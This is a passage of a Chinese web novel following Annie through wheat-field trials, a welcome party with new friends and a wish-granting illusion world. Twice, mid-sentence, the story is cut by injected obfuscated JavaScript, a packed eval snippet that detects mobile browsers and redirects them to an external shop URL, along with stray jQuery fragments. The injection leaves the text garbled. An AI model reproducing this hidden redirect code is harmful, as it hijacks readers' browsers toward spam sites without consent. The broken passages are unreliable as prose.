“木木,今晚的月亮,好圆啊……”清冷皎洁的满月悬在夜空,给云雾镀上纯银,“就像妈妈的水晶球。” “是啊……但再美的景色……”阿木木的眼中仍旧盛满悲伤,只是那潋滟的波光荡漾了一瞬,“我会让它留下的。” 他眨了眨眼睛,低头掩饰住发烫的脸颊。 “嗯。” 安妮轻声应下,又好像没有。 那呢喃随着微风飘散到空中,打了个璇儿,落下悬崖。 安静的夜晚里,彩色的星空下,少女靠在少年肩膀上,凝固成黑色的剪影。狂风暴雨都过去了,记忆里的哀伤还在,可是那些伤口好像都已经结痂,丑陋的鲜血也被掩盖。 这是安妮第一次睡得这么安稳。 不用担心周围有危险,可能碰到什么可怕的动物,可能不小心掉到树下或者碰到陷阱;不用计划第二天的训练,必须达到什么样的标准,必须完成多少极限的指标;不用为一睁眼身边空无一人感到孤独,也不用为没有希望的未来迷茫忧愁…… 不用掩藏自己的泪痕。 夜晚的风第一次那么温柔,夜晚的星光照耀的地方,第一次那么璀璨。 阿木木轻拥着安妮,一动不动。和过去无数次那样,像一块岩石。 只是这一次,他没有再眺望远方。 “这样的夜晚,以后再也不会有了。” 苍老的声音从背后传来,阿木木已经可以想到基兰那沉稳又轻盈的步伐。 “不重要。” 少年的语气里倒有几分老者的淡然。 “我的预言都成真了,不是么?” “不重要。” 他仍然低着头,似乎重要的只有眼前的这个人。 “桔梗是留不住蒲公英的。” “不重要。” 基兰不再说话,只有衣角在微风中扫过草叶,证明他还存在。 阿木木背对着基兰,等待他的离开。 “唉……希望你可以遵守我们的约定。” 不知过了多久,基兰终于轻叹一口气,转身。 “我会的。” 书香满屋,窗明几净。 鬓发斑白的老者坐在草垫上,手边横放的法杖是那么质朴、自然。 水晶球里,两个小小的身影依偎在一起,静止不动,好像一副唯美的水彩。 他手边的书翻开。 大概不知道应该怎么做,他看着那个印在中间的法阵,捋着银白的胡须。 “天意弄人啊……” 一声轻叹从木屋里飘出,越过窗子,一直飞到漆黑的远方。 漆黑的断崖边,桔梗在风中左右摆动。当他一次又一次试着靠近蒲公英时,那纯白的绒絮终是飞到了远方。 34. 34 安妮把提伯斯交给了阿木木。她没有提自己这五年的经历,也没有交代任何关于自己的话。她就淡然地在阿木木的注视下走进麦田,和从前面对训练的自己没有分别。 崔丝塔娜站在旁边,踮起脚撞了撞阿木木。 “喂,你们昨天都没说什么吗?怎么感觉她今天沉默了好多?” “明明是你话太多。” 阿木木对安妮以外的人说话可不懂客气,崔丝塔娜被他简短又平淡的语气怼了五年,还是没学乖。 见安妮已经消失在麦田深处,阿木木还是一动不动地看着,崔丝塔娜迈开了步伐。 “我找莱沃玩去了,你慢慢等着吧!——不对,爷爷叫你把提伯斯带过去,他要仔细看看,你记得啊!” “知道了。” 阿木木并没有转身。 倒是崔丝塔娜回头做了个鬼脸:“等吧等吧,饿死你算了!” 她也知道阿木木特殊,不需要吃东西,说这话就是发泄怨气。 阿木木才懒得理崔丝塔娜。 他看着金灿灿的麦田,不知道在想什么。 安妮进入的第一个麦田,是基兰特意给她准备的。 这是一条熟悉的路,好像昨天才走过。 安妮有些奇怪。进入麦田后,周围的麦子渐渐散去,又变成了一望无际的平原。而她站在原地,头顶还是群星闪烁的夜空。 难不成又要不停地走? 也可能是还没遇到真正的考验。 安妮往前走。 这一次没了崔丝塔娜带路,她不需要紧跟着谁,于是选择了最适合自己的速度。她保证如果还是无尽麦田,这一次她能走的距离肯定更远,时间也会更长。 安妮有些激动,这是她闯的第一个麦田,难免感到新奇。 也不知道金克丝是不是和她一样,都要闯过这么多麦田。 安妮调整呼吸,看着身侧的麦子变高、变大、变茂盛,逐渐遮住自己视线,和昨天一模一样。 不要停下…… 安妮看了看手表,她是早上七点进来的,但似乎这里的时间是停滞的,走了这么久还是七点零三分。 又是幻境吧? 或者是类似幻境的阵法。 安妮也不知道这次是要考验自己的什么,她没办法计时,也就不知道自己的极限是多久,那这个麦田的意义何在? 会有什么危险突然出现吗?或者身后突然出现什么怪物? 安妮把所有可能都想了一遍,但是没有。保持速度前进的她身侧除了麦子还是麦子,逼仄的通道一往无前,和记忆里只差了一个蓝色的身影。 或许要另辟蹊径。 安妮拨了拨路边的麦子。 可以拨开,但是里面是什么情形就不得而知了。新生的麦子粗壮尖利,扎在皮肤上刺刺痒痒的,但是安妮还是选择了离开那条平坦的小路。 面前是纯粹的金黄色,地面有些绿叶。安妮两手并用,才在麦浪里开辟出一条道路。 她尽量小心那些试图偷袭自己眼睛的麦穗,却来不及兼顾裸露在外的手臂和脚踝。 皮肤已经布满红痕,但是安妮只是挠了挠,然后继续。 也不知道走了多久,就在安妮还在计算回去的方向和路程的时候,视野突然开阔了! 安妮心中大喜,立马拨开麦穗走出去,然后就看见一条小路。一样的宽度,一样的平坦,和之前自己走的小路毫无分别。 安妮是跟金克丝学过森林里赶路的技巧的,她绝不相信自己会走出一个圆,或者拐弯回到原地。 那这条小路到底是哪里的? 是之前那条吗? 安妮略微思索了一下,往身边的麦子上顺手一撸。 火热刺痛的感觉席卷手心,安妮抓住一把饱满硌手的麦粒。 有点疼……那些小刺混着颗粒被握在手里,好像要割开皮肤。安妮责怪自己有些冲动,又小心翼翼地捋下来一些麦穗。 她边走边撒麦穗。 这一次没有另辟蹊径,而是乖乖走路。大概过了半个小时,安妮的麦穗用完了。她又在路边抓了一把,同样的饱满硌手,和之前没有任何区别。 时间就好像静止的一样。 她跟着金克丝学了很多东西,而当初记住的第一要务就是观察身边的环境。安妮把这个信条从第一天一直坚守到最后一天,早已养成习惯。 也许之前没有注意,但那些静止的星星,茂盛的麦子,以及停下的钟表,让安妮越来越相信自己的猜想。 时间静止了吗? 那如果让时间恢复,自己就成功了吗? 安妮不知道这个想法对不对,她只能试验。 她继续往前走,试图找到些什么。 就在她以为一切都不会有任何变化的时候,突然,面前出现了新的东西! 前面的麦穗都枯萎了! 说明前方时间在流逝! 安妮狂喜,立刻奔过去。然而刚刚走到枯萎的麦穗前,她就眼前一黑,失去了重心。 安妮挣扎着再睁眼,又是一望无际的平原。 她失败了。 安妮抬手,七点。 时间回到了四分钟之前,又是一望无际的草原。 安妮这一次加快了速度,既然知道前面有终点,说不定她需要在规定的时间内到达。 她没有选择别的道路,她也不记得自己是在哪里离开的小路了。安妮只是看了看手表:七点三分,时间再次停滞,是麦子遮挡住视野的瞬间。 她这次换成了奔跑,一个小时的路程被缩短,按照计算,最多二十分钟…… 安妮有些疲惫,尽管自己从头来过了,但走路消耗的体力并没有恢复。也许等到她实在没有力气的时候,就应该走出麦田等待第二次挑战了。 她当然不甘心。时间是如此得宝贵,她必须尽快闯过所有麦田。 安妮的想法很多,但在看到终点的那一刻都化成了欣喜。手表没有办法计时,但是这次绝对快了很多! 安妮冲过去,然后…… 熟悉的漆黑和失重感。 她又站在了熟悉的起点,天上的星星都还在之前的位置。 这次明明快了那么多,为什么还是回来了? 安妮不理解。 她继续往前走,又是景色变换,又是越长越高的麦穗。安妮边走边看手表,上面的秒针和着脚步慢慢挪动,一圈……两圈……三圈。 又是三分钟,不偏不倚。 安妮怀疑她真正进入关卡的时间就是七点零三分,而在这里面,手表是无用的。 她转身,想看看之前的道路变成了什么样,但是一道空气墙挡住了她的路线,她甚至无法后退一步。 人生没有回头路,这难不成还是条人生路? 安妮想起基兰爷爷的话。 “人生只有终点。” 是的,到了终点,一切就又从头开始了,或者说走向终结了。 她也就失败了。 那还能怎么办?停滞不前吗?坐以待毙吗? 这不是她的风格。 安妮握拳,憋着一股气继续走。她就不信找不到破绽,多看几次周围的环境,一定可以发现什么。 到达终点、失重、回到起点…… 安妮就这样重复了三遍,从斗志昂扬地赶路到气喘吁吁地挪动。她也没有闲着,几乎把这一路上的东西看了个遍——但是没有,什么变化都没有。 开局会站在一片绿油油的草原中间,无论是往前走还是转身走,迎面都会出现越长越高的麦子,渐渐遮住自己的视线。然后是千篇一律的金黄,仅通一人的狭窄小路,走一个小时的路程,看到不远处麦穗枯萎,但只要一过去,立马就会回到起点。 安妮已经不需要再走了,她现在连重生点夜空中星星的分布都记得一清二楚。 没有什么不一样的东西,也意味着她找不到破绽。 累,身体累,心也累。安妮站在原地恢复状态,憋着股气回想。 她还没想出个三七二十一来,身旁突然冒出来点点金黄。那金黄刚开始还只是小点,随着安妮的视线向远处延伸出两根平行的线。线上的黄色立体起来,慢慢生长…… 安妮瞪圆了眼睛。远处的看不清楚,但两旁确确实实是正在急速生长的麦子。 这样的场景安妮并不陌生,只是她现在正在原地休息,之前是自己主动往前走。 难不成是麦田看不下去了,非要拉着她继续闯关? 金克丝说过守望麦田里有的麦子是死的,只承载了麦田主人的记忆;有的麦子却是有“灵”的,已经催生了自我意识。 但这些麦子有这么好心? 安妮决定按兵不动。 身边的麦子慢慢长高,三五成团,结出麦穗。这个过程很慢,足足用了十分钟左右,但安妮却等得非常有耐心。她之前自己走的时候三分钟就完事了,这一次虽然慢,但是好歹意味着有变化。 最大的变化是手表也放慢了速度,在麦子结出果实后,还是停在了七点零三分的地方。 虽然好像有了提示,但安妮还是云里雾里,因为现在的情形和之前并无区别,都是看不到尽头的小路上,她被麦穗包围着。 那还走不走? 安妮想了想,尽管远远没到极限,但她决定了——不走。 手表没有变化,但是天上的星星在缓慢地移动。 安妮不懂阵法,也不清楚这些星星象征着什么。她记录星星的位置,然后是漫长的等待。 确实有变化…… 安妮想起了加丁曾经卖惨的话,感觉自己和星星好像互换了位置,现在是她一眨不眨地盯着人家看。她又想起阿狸姐姐刺绣上的星座图,没有一个像现在这样复杂。 唉…… 安妮在休息室停下过,在湖边停留过,也在断崖上停滞过,但她从来没有什么时候像现在这样慵懒。 远离了那个充满勾心斗角的殿堂,好不容易找到了能够实现自己抱负的地方,她还想着加快速度,像曾经逼迫自己那样陷入疯魔,谁知才闯第一个阵法就坐下了…… 周围的麦穗还是茂盛的、充满生机的模样,安妮摸上去扎手。星星还是慢慢移动着,但她也不懂星象学。 安妮忽然想到什么。 她起身,试探着往前走。 一边抬头一边走路是她在平时绝对不会做的危险行为,但这条小路挺平坦,安妮并不害怕摔倒。 果然不出她所料,星星不动了。 走了大概五分钟,星星就静止了五分钟。 安妮又坐下,默默计数,一分钟之后,那些星星又移动起来。 虽然手表没动,但安妮直觉现在时间是在流逝的。 难道她需要一直等着,直到那些星星移动成什么特殊形状,或者从那些位置里看出通关秘诀? 反正都可以试试,坐下观察总比一直赶路强。 安妮席地而坐,四处看了看,没有树枝之类的,她就抓一把麦子拿来记录,每过一段时间就记一次星星的位置。 她的记忆里,有关星星的东西不多,记忆最深的除了加丁,就是阿狸姐姐和凯德阿姨。凯德阿姨的那些传说都是哄小孩的……安妮叹了口气。 她记得,曾经的自己是多么喜欢听凯德阿姨讲故事,尽管那时候她就知道现实很残酷。 阿狸姐姐的星座图不是骗小孩的,是骗自己的。 原来他们都是骗子…… 安妮自嘲地笑了笑。 没有形状,也没有规律,安妮拔起一根麦秆,三两下把自己记录了半天的麦穗扫了个干净。 睡一觉吧,明天再想怎么通关。 考验麦田的闯关是有时间限制的,现实里一过下午六点,麦田就收了。在早上六点到晚上六点这段时间,除非通关,否则出不去。安妮不知道自己待了多久,但崔丝塔娜说闯麦田失败三次基本上就结束了。 估计是她失败得太快了,所以重来了这么多次还没到时间,但现在也快了。 那就睡一觉吧。 安妮破罐子破摔地想、 她撇撇嘴,闭上眼睛。麦田里本来也是黑夜,睡起觉来比躺在无妄森林的树上还舒服,安妮不一会儿就进入了梦乡。 视野里突然闪过一道金光,安妮睁开眼,发现自己正躺在一片麦田的旁边。 看来是被送出来了…… “唉。” 安妮叹了口气,低头沿着麦田走。她也不知道入口在哪里,沿着走就对了。 “哎哎,这里这里!” 不远处,崔丝塔娜招手。 “我就猜你大概这个时候会出来,赶紧跟我去找爷爷吧!” 看来崔丝塔娜也是知道她成功不了了。 安妮有些尴尬,跟在崔丝塔娜后面发呆。她还是不甘心——怎么就毫无头绪呢? “你怎么闷闷不乐的?不是成功了吗?” 崔丝塔娜见自己说话安妮只是心不在焉地回答两句,有些奇怪地问。 “啊?什么?我成功了?” 她不是被送出来了吗? “你自己成功没成功都不知道吗?” 崔丝塔娜还以为安妮是在炫耀,但看她一脸茫然的样子又不像。 安妮抬手。 六点零三分。 按脚程来算,好像她确实是五点五十多出来的。 但是安妮还是不确定,她怎么也想不到自己是如何通关的。 “有没有可能是那些麦子觉得我没有闯关成功的可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119502|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性了,就提前把我扔出来了?” “扑哧,你怎么比我还异想天开!”但安妮不像开玩笑,崔丝塔娜也只能认真思考她说的情况的可能性,“有的麦子确实是有‘灵’的,爷爷的考验麦田更是这样,但这些麦子再怎么也不至于把你扔出去吧?你又没在里面点火。” “可是我……” “哎呀,你要是不清楚,明天再去就是了,反正有些闯过的麦田是可以再进去的。” 安妮知道自己再怎么描述也没用,只能点头同意。 “到了到了,你快进去吧!今晚八点守望广场有个欢迎仪式,你记得准时来!” “欢迎仪式?” 是给她准备的吗? “我们特意给你准备的呢,你不要迟到了!” “诶……” 安妮还想问什么,崔丝塔娜直接蹦蹦跳跳地走了。 她只能走上台阶敲门。 反正晚上八点会知道的,不着急。 “扣扣扣。” “请进。” 基兰仍旧是一身白袍,坐在书桌前。他的木桌很薄,没有抽屉,桌面也没有垫任何东西。 基兰拿着一本书在看,镜片下的目光深邃柔和。他和记忆里的那个老头很像,但是又截然不同,那些书本堆叠在桌角,一尘不染。所有的家具都是木制的,散发着陈旧的幽香。 木木不在。 “别看了,他在后院。” 安妮收回视线,有些窘迫。 基兰把书放下,拿起法杖。他的法杖似乎在不用的时候就随意扔在手边。 “你好像成功了,又好像没成功。” 安妮一听这话就知道基兰看见了,或者至少了解了她的闯关经历。她不知道基兰是不是全程注视着,希望不是。 “别急着询问,自己找到的答案总是可以在记忆里存在得长久一点。” 是的,就像自己经历的骗局永远比聆听防范欺骗的教训刻骨铭心。 “提伯斯以后不会再沉睡了,陪着他好好去转转吧,不过我可不希望你带他进入我的麦田。” “谢谢!” 没想到基兰的速度这么快!仅仅一天不到,提伯斯就已经恢复了! 安妮好像低估了面前这个老头的实力。 也不知道他如果和加丁碰一碰的话,谁会胜利。 “别想那些不切实际的东西了,去参加你的欢迎晚会吧。人生中总是有很多不易察觉的风景,你要学会停下来,静心体会。” 安妮总觉得基兰这句话暗藏玄机。 基兰不去参加晚会是她意料之中的事,安妮自己开了后门走去后院,木木正在后院的小桌子上逗弄提伯斯。 少年伸出青葱般的手指戳弄玩偶的脑袋,在提伯斯伸出手想抓住的瞬间收回去,然后又点向肩膀、肚子。提伯斯被逗得咯咯笑,木木也弯起翠绿的眸子。 他就像是上天的宠儿。 不,他就是。 “安妮?” “嗯?啊……抱歉,走神了。” 安妮也不知道自己的失落从何而来,但好在这样的情绪只是一瞬。她走过去抱起提伯斯,心中一块巨石落地,喜悦很快赶走了悲伤。 “走吧,去参加欢迎晚会。” 阿木木自然地牵起安妮。 安妮垂眸,轻轻握着自己的手是那么白皙,好像凯德阿姨收藏的羊脂玉石。 “嘿,我就说他们是牵手来的吧!愿赌服输,记得我们的约定!” 崔丝塔娜向后高喊,神情激动,手里的烧烤甩出几滴油脂也没在意。 安妮被喊得把手缩了回去。 “崔丝塔娜。” 阿木木有些无奈地出声。 “原来你还记得我的名字啊!” 崔丝塔娜撩下眼皮,吐了吐舌头,然后利落地钻到一只浣熊身后。 浣熊坐着,但看起来和崔丝塔娜差不多高。深棕色短毛,棕衣黑裤,踏着一双银色的铁制战靴。最特别的是他的白色眉毛和深黑色眼珠,给人一种威胁感。他的手边也放着一架大炮,和崔丝塔娜背上的有些细微区别。 “莱沃。你好。” 浣熊点头,带着少年感的声音,却有别样的沉稳与平淡。 一看就是个很有故事的人。 “你好,我叫安妮……” 安妮还在纠结要不要握手,一个紫色身影直接窜出来抱住了她。 “漂亮的小姐姐!你好呀!” 活泼灵动,娇憨可人,还小巧玲珑的。 就是高高的女巫帽有点遮挡视线。 安妮低头,红色女巫帽下是松散的紫色长发。绿色大眼珠,高鼻梁,樱桃小嘴,带点婴儿肥的脸颊红扑扑的。她穿着一身红色长袍,衣服长到盖住了鞋子。 “我叫蒂尼,你可以叫我尼尼~” 小姑娘亲昵地蹭了蹭安妮,可惜踮着脚也才到安妮的下巴。 “你好……” 安妮被热情的拥抱禁锢住,还是崔丝塔娜撕下了粘人的蒂尼。 “她就是这样老想缠着点东西,不用理她!” 崔丝塔娜也比蒂尼高一些,只是那女巫帽碍事得很,有些影响她的动作。 “快吃烧烤吧,我们还准备了很多浆果!” “还有我特意培养的花!” 蒂尼蹦跳着从火堆边的篮子里取出一朵彩色的玫瑰。 这朵玫瑰很特别,七片花瓣,是七种不同的颜色,在黄昏的照耀下流光溢彩。叶子和花蕊都是纯白的,还看得清内里的纹路——就像一个水晶做的艺术品。 “好神奇……” “蒂尼是万花通灵,什么花都种得出来,以后有机会你还可以去她的希望花田玩玩。” “一定!” 崔丝塔娜很热情,拉着安妮坐下,开始讲述守望麦田里的趣事。蒂尼还是粘人地想坐在安妮旁边,可惜阿木木的微笑让她感觉有些危险。 安妮偏头,听着崔丝塔娜讲故事,逗得蒂尼哈哈大笑。蒂尼身边的莱沃离得最远,安安静静坐着,那双白色眉毛在火光的映照下冷得像冰霜。 他偶尔也会附和两句,笑一笑,但安妮总觉得莱沃黑色的眸子里有她熟悉的东西。 一场欢迎晚会,没有多少人参加,但是安妮却觉得这比过光明学院一年一度的迎春会还快乐。 她喝了些小酒,没有断片,但后半夜的记忆也有点模糊了。 印象最深刻的应该是提伯斯追着蒂尼的瓦恩跑。 据说蒂尼的原型是朵花,瓦恩是她化形时伴生的法器。就是她不知道为什么瓦恩会飞——她还以为那法器是藤蔓变的。 快乐的时光总是很短暂,认识了新朋友之后,安妮也再次回到那片熟悉的麦田。这一次,她忽然有了些新想法。 35. 35 碧绿的草地,漆黑的天空,这样的环境很适合睡一觉。 安妮走进昨晚的麦田,尝试性地继续前进了几次,然后停在了原地。 “累死了……” 她抱怨着,踹了踹平坦的草地,然后躺在地上,望着天上移动的星辰,慢慢闭上眼睛——睡觉。 周围的麦子再次开始疯长,但安妮只是用微眯起的眼睛悄悄观察着。她一动不动,任由这些麦子越长越高,直到把她再次淹没。 天上的星辰仍旧漫无目的地移动着,不像阿狸姐姐绣图上的任何一个,也不符合书本里的形象图一分一毫。金克丝教过她如何假装睡觉,然后不着痕迹地半眯着眼睛偷看,因此她现在能看得很清楚。 所有微小的变化都一览无余的那种。 安妮躺下的不远处,麦子正在抽条。大概是没人盯着,它们伸展懒腰,肆无忌惮地扭动——没有风。 淡黄的麦子开始变色,越来越深,越来越亮。它们的秸秆越来越硬,越来越粗,也越来越直。它们的发须竖立着,麦穗被金黄填充。 地上的草也慢慢变翠绿…… 原来她睡着的时候,环境在这样变化? 也不对,之前赶路的时候也有,但是她没有注意。 就好像不需要注意安全的东西一样,她觉得这样的变化不值得注意,应该注意的只有变化本身。 麦子长高了,长大了,也好像停止不动了。 安妮不起来,她觉得一定还有别的。 她悄悄记住旁边的一颗麦子,它的秸秆,它的枝叶……它的一切,然后移开了眼睛。 金克丝说过,要观察微不足道的渐变,就要学会将变化的起点和终点连接起来。 她挪开了视线,或者说顺理成章地被其他风景吸引了视线。 麦田好像在变美。 究竟是怎么变美,她不知道,但颜色越来越金黄了,好像要把这昏暗的天空照亮。麦穗好像比天上的星星还闪耀。 大概过了十多分钟,安妮再次看向那颗小小的麦穗。 麦穗的秸秆仍旧是那么挺直,但是叶子好像变尖了,锯齿边缘更大了。麦穗很饱满,饱满到棱角分明,不再是圆润的模样。安妮知道,就是这粗糙的果实当初教训了她稚嫩的手掌。 还有一些细微的小刺,从各个地方冒出来。 这样缓慢的变化,让人心中莫名滋生了许多欣喜。 安妮甚至不敢呼吸。她放缓一切,静静聆听着。 她好像听见了万物在发芽。 是麦穗在生长。 一种秸秆使劲往上拔的声音。 还有叶子使劲向外长的声音。 麦穗膨胀的声音。 “呼……呼……” 安妮好像还听见了自己的心脏缓慢跳动的声音。 时间一分一秒地过去。 好像过去了一个世纪。 安妮突然被晃到了眼睛。 视线被亮光填充,迎面而来的麦穗挡住了一切,安妮慌乱起身。 突然明亮的世界里,一片金黄色的海洋映照出漆黑的天空。 那是什么? 安妮猛地站起身,她心中一紧。 但面前的景色没有消失。 她看见了。 一片禁锢着阳光的海洋。 每一株麦穗都孕育着一个小太阳。它们紧紧环抱住这温暖万物的光芒,刺目的、耀眼的。视野里没有天空,麦田将世界劈成两半,最上面是掉落在金海里的璀璨星辰——却不及它半分耀眼。 有秋天的气息弥漫,金黄色的香气在空中荡漾。安妮想起了每一个丰收的季节,她和族人们一起点燃的篝火,也是这么明亮。 生命在起舞。没有微风,但是麦穗整齐划一地律动着,踩着轻快的鼓点。安妮是唯一的观众,站在成千上万的精灵面前,手足无措地看着他们嬉戏。 “哗哗……哗哗……” 那是洋溢的笑声。 那是凯德阿姨深夜的呢喃,是提伯斯寒夜的拥抱。 是木木暗夜中挺拔的身影。 安妮好像在这片希望中看到了未完的梦想。 “嘻嘻……” “你在哭什么?不开心吗?” 麦穗天真活泼的问话像梦境里天使的轻语,悠远朦胧,在耳边回荡。 安妮擦了擦眼角的泪水。 灿烂的麦田映照在她幽深的瞳孔中。 安妮好像明白了基兰爷爷的话。她活动了一下僵硬的手脚,向前走去。 无尽的麦田淹没了她,但总能在前方看到一点点景象。安妮的手脚都被坚硬的麦穗划过,痒痒的,带一点让人清醒的刺痛。 前方突然出现一个白色的身影,在逆光中带着淡淡的黄色光晕。 安妮立刻跑上前,那影子却跟着移动,始终保持一样的距离。 她慢慢停下,影子也静止下来,似乎从未移动过。 安妮忽然想到什么。 她把身边的麦子向四周压下,周围立刻空旷了。她就地躺下,但这次没有睡觉,只是侧着身放空思维。 微风拂面,偶尔倔强立起的麦子挠向脸颊,她会伸手拂开。 面前整齐的秸秆忽然向两边拨开,白袍老人慢慢走来。 安妮没伸手,也没动弹。 “这次不追了?” 头顶的声音空灵厚重,让安妮“噌”一下坐起了身。 这样的声音不可能是幻影说出来的,或者说……面前老人的气质让她无法相信这是幻影。 “基兰爷爷?” “你看,这样的风景还好吗?” 基兰没有回答安妮的话,缓缓消失。 “这就是……你想告诉我的吗?” 安妮垂眸。 周围的麦穗在消失,变成金色的光点,飘向空中。就像到达了死亡的终点,全部归零。 安妮知道,这是闯关成功了。 她站在光点里,静待下一关。 也许停留的确能看到更多风景,但终点,才是她竭尽全力追求的。 “咦,安妮姐你怎么在这儿?” 场景渐渐变换,安妮却有些怔楞——她被传送到了麦田外。 崔丝塔娜扛着小炮走到她面前,只是看起来高了一些,“再过两天就是交接仪式了,你怎么还来闯麦田啊?怀旧?” 怀旧? 还有交接仪式? “哦,我就是来看看。过两天事情有点多,你再说说呗。” “这不是你安排的吗?就光明学院的交接仪式啊,加丁被你干掉了,过两天校长就换成菲缇了嘛。” 加丁被她……干掉了? 安妮眼睛瞪得像铜铃。 “你今天怎么奇奇怪怪的?阿木木还在小木屋等你,你记得过去。” “哦,好。” 安妮答应着。好在记忆里的路线没变,她走到熟悉的小木屋前。 不太敢敲门。 “咔哒……” 木门被打开,门里站着一个少年。 黑色头发,绿色眼睛,皮肤白皙,身材瘦削。但是……不像阿木木,或者说,不是阿木木。 “安妮。”“阿木木”不咸不淡地朝她点点头,“提伯斯在后院,一起过去吗?” “哦,好。” 安妮不敢轻举妄动,走进木屋,由着阿木木带路。 熟悉的布置,熟悉的后院,提伯斯趴在桌子上,布偶一样了无生气。安妮忽然想起了现实世界里阿木木逗弄提伯斯的场景。 没错,现实世界。 这里是假的。 “阿木木”把提伯斯拎起来,递给安妮,就像对待一个真正的布偶。安妮状似淡定但小心翼翼地接过,盯着“阿木木”目不转睛。 “你别这么看着我……”“阿木木”无奈一笑,“我知道我装得不像。” ! 安妮后退一步,没有环抱提伯斯,而是把它也拿远了自己的胸口和脖子。 “你不用担心,他们都不会伤害你的。” “阿木木”说着,走向门口,“走吧,跟我去看看外面,你会喜欢上这里的。” 安妮不敢反抗,但也不会相信这个“阿木木”的话。她警惕地拿着提伯斯,跟着阿木木走向昨晚才待过的地方。 蒂尼和莱沃坐在那里,离得不远不近。崔丝塔娜一蹦一跳准备着各种美食,看起来和现实世界里的相差无几。 也可能是她对崔丝塔娜不太熟悉的原因。 “这个世界除了阿木木和基兰我们无法复刻,其他人都可以完美模仿哦。” “阿木木”俏皮地眨眨眼睛,那是真实的阿木木从来没做出过的表情。 看来这是自暴自弃了。 “安妮姐,快来坐!” 崔丝塔娜热情地给安妮递上小板凳。 伸手不打笑脸人,安妮也挂着微笑坐下。 “还记得这是咱们第一次举办欢迎仪式的地方呢!”崔丝塔娜开了瓶果汁,递给安妮,“没想到这么快,就过去一百年了。” “是啊。”“阿木木”接话,“没想到短短一百年,安妮就打败了加丁。” 他的气质语调完全不一样,但是崔丝塔娜没有一点怀疑。 “我……其实也没这么厉害。” 安妮谦虚着。 她这一百年干了些啥她自己都不知道。 “谁说的,你可是收集齐了十大神器,还当众惩罚了加丁,天道都被逼得复活了你的族人。” “阿木木”细数着安妮的丰功伟绩,崔丝塔娜不停点头以示赞同。 只有安妮僵硬着笑脸。 这些全是她做梦都在追求的,可是在这个世界却唾手可得……或者说,已经得到了。 不得不说,它们真的能够洞察人心。 “这个世界,菲缇没有欺骗你,她仍旧是光明学院的一个普通老师。巫阿婆靠你的力量延年益寿,已经被你接出了村子。还有金克丝,她已经报仇成功了,现在挂名副校长。” “阿木木”凑到安妮的耳边低语。 安妮握紧了拳头,朝着“阿木木”微微一笑:“出去说?” “走吧。”“阿木木”转头,“我想和安妮单独待一会儿,你们随意。” “理解理解。” 崔丝塔娜带头挥手。 还真的和现实里八卦的形象一模一样。 安妮往前横冲直撞,没想到转眼间就来到了断崖边。 “这个世界都如你所愿,你想去哪里就能去哪里,想做什么就能做什么。” “阿木木”跟在她身后,解释道。 安妮干脆就地坐下,面前的星空仍旧是五颜六色的。 “透过这里,你能看到你的族人们。”“阿木木”跟着坐下,“不试试吗?” “当然要。” 不试白不试。 安妮挥手,风随心动,把黑夜吹出一个裂缝。裂缝里,凯德阿姨正在熬冬阳汤,袅袅白烟升腾。 她迅速挪开,镜像里,爸爸妈妈正看着一本书。她仔细看去,只是普通的话本。 水晶球被放在桌角,上面几乎要落满灰尘。下面压着各式各样的魔法书,但无一例外都崭新得像刚买的。 “黑魔法被承认了,他们也就没必要提心吊胆了。要不是舍不得那里,他们早该去圣城居住了。”这个世界的“阿木木”话很多,但起码信息都还算有用,“不久后无妄边境应该会被建设起来,你们也不需要用萤石照明了。” “哦,那真好。” 一切都随心所欲,未来都心想事成。 安妮才发现,原来自己有那么多不切实际的愿望。 “要留下吗?” “阿木木”轻柔地询问,这一次总算有了点神的形象。 “缇啵咝……”怀里的提伯斯动了动,扯了扯安妮的衣袖。 “他应该不需要我多说了吧?” “不用了。” 总归是她期望的模样。 安妮摸了摸提伯斯的脑袋,手感挺陌生的。 “其实你说得不对,就算除去基兰大师和木木,你们也不能百分百地复刻现实世界。” “只要把你的记忆打磨打磨再打磨,就可以。” 打磨记忆吗? “你们这个世界,也是记忆支撑的?” “算是吧,不过你要是觉得摧毁一切就能离开,那恐怕不行——你要知道,记忆这东西,只能遗忘。” 遗忘?怎么可能遗忘? 忘不掉,也不可能忘掉。 “看吧,这个世界有什么不好的?你所追求的一切都实现了,再过不久,我们就可以不断完善好细节,而你……” “会逐渐习惯这个世界。” 并且在这个世界迷失自我。 “我知道你还在纠结,没关系,我们可以等。” 等? 又是等。 好像木木无论在哪里,无论是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119503|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是假,都只有“等”。 安妮这样想着,自嘲一笑:她竟然把这个世界的“阿木木”当真了。 也罢,既然无法从他那里得到离开的方法,那就自己试探吧。 安妮沉思了一下,率先去了光明学院。她想,如果真的有什么让她刻骨铭心的地方,那里应该算一个吧。 光明学院仍旧是华丽的装潢,只是没有了浮躁炫耀的光芒,取而代之的,是令人安心的柔和。 安妮没想到这个世界的建筑都在随她的心意失去冰冷的棱角。 安妮习惯性地朝校长办公室走去,但很快反应过来加丁应该不在那里。她正要思考一下加丁可能在什么地方,前方突然出现了一个熟悉的身影。 高挑的身材,戴着金框眼镜,学院制服,波浪长发,看起来那么文静温柔,又充满凌厉的智慧。 是菲缇,不是莫斯卡。 “安妮?你怎么在这儿?”菲缇很高兴,腾出抱书的手推了推眼镜,“我正要去找你呢。” “找我?” 安妮尽量淡然地应答。 